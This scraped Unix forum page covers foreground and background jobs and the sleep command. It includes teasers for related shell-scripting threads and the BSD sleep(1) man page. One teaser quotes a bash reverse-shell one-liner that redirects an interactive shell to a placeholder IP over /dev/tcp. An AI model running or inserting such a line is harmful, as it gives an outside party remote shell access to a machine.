05-12-2005
If it's executed via cron, it is neither background nor foreground. From your prompt type:
sleep 30
This sleep command is in the foreground because your shell is waiting for it to finish before it will issue another prompt. Now type the command:
sleep 30 &
This sleep command is in the background because your shell issued another prompt without waiting for it to complete.
10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
hey all,
i am working on sun solaris machine and i want to start a process in background using shell script (actually i wanna start tomcat server using shell script). please dont tell me that append a & at last because this is not working in the shell script. i have also used nohup and... (8 Replies)
Discussion started by: dtomar
8 Replies
2. Shell Programming and Scripting
Dear All,
I am trying to run a script in background like ./scriptname.sh & but when i try to run it in background it is giving me an error "syntax error at line 12: `(' unexpected" at the line 12, there is a function definition
"function getFileList()".
This script runs fine if i run on... (2 Replies)
Discussion started by: bilalghazi
2 Replies
3. Shell Programming and Scripting
Hi all,
I am trying to exit a shell script (c shell) while invoking a job (service) that must run in the background:
......
/mydir/runservice &
exit
......
There are downstream jobs and scripts that need to be run, but they all 'wait' for the script to exit. The script 'hangs' and... (3 Replies)
Discussion started by: CKT_newbie88
3 Replies
4. Shell Programming and Scripting
Hi,
Need an urgent help. I have a program executing in foreground. I need to execute it in background and also to remove terminal dependency.
Thanks In advance.
116@434 (7 Replies)
Discussion started by: 116@434
7 Replies
5. Shell Programming and Scripting
Dear all,
I have a little problem trying to run a shell script in background, as you can see below.
- the script is a simple one:
#! /bin/bash
exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0
- the name of the script is test.sh
- the script is executable(chmod +x test.sh)
- on the... (2 Replies)
Discussion started by: gd05
2 Replies
6. Shell Programming and Scripting
Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies
7. Shell Programming and Scripting
Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies
8. Shell Programming and Scripting
I have written the below query to genrate a telephone.I am passing account number from oracle database.
I am calling 2 scripts which generate the bill
1. bip.sh (it runs in the background)
2.runXitInvoice_PROFORMA_integ
bip.sh generates a number which runXitInvoice_PROFORMA_integ
uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies
9. Shell Programming and Scripting
Hi,
I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help..
i am using below command to run script
nohup system_traps.sh &
but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies
10. UNIX for Beginners Questions & Answers
Hi Guys,
i am having a script which checks for ip address is pingable or not,when i execute this script in terminal it keeps on showing the pinging status of every ip address and it takes more time when i check for 100 ip address,How to do run a script in background without showing in the terminal... (4 Replies)
Discussion started by: Meeran Rizvi
4 Replies
SLEEP(1) BSD General Commands Manual SLEEP(1)
NAME
sleep -- suspend execution for an interval of time
SYNOPSIS
sleep seconds
DESCRIPTION
The sleep utility suspends execution for a minimum of seconds. It is usually used to schedule the execution of other commands (see EXAMPLES
below).
Note: The NetBSD sleep command will accept and honor a non-integer number of specified seconds. This is a non-portable extension, and its
use will nearly guarantee that a shell script will not execute properly on another system.
When the SIGINFO signal is received, the estimate of the amount of seconds left to sleep is printed on the standard output.
EXIT STATUS
The sleep utility exits with one of the following values:
0 On successful completion, or if the signal SIGALRM was received.
>0 An error occurred.
EXAMPLES
To schedule the execution of a command for 1800 seconds later:
(sleep 1800; sh command_file >& errors)&
This incantation would wait half an hour before running the script command_file. (See the at(1) utility.)
To reiteratively run a command (with csh(1)):
while (1)
if (! -r zzz.rawdata) then
sleep 300
else
foreach i (*.rawdata)
sleep 70
awk -f collapse_data $i >> results
end
break
endif
end
The scenario for a script such as this might be: a program currently running is taking longer than expected to process a series of files, and
it would be nice to have another program start processing the files created by the first program as soon as it is finished (when zzz.rawdata
is created). The script checks every five minutes for the file zzz.rawdata, when the file is found, then another portion processing is done
courteously by sleeping for 70 seconds in between each awk job.
SEE ALSO
at(1), nanosleep(2), sleep(3)
STANDARDS
The sleep command is expected to be IEEE Std 1003.2 (``POSIX.2'') compatible.
BSD
August 13, 2011 BSD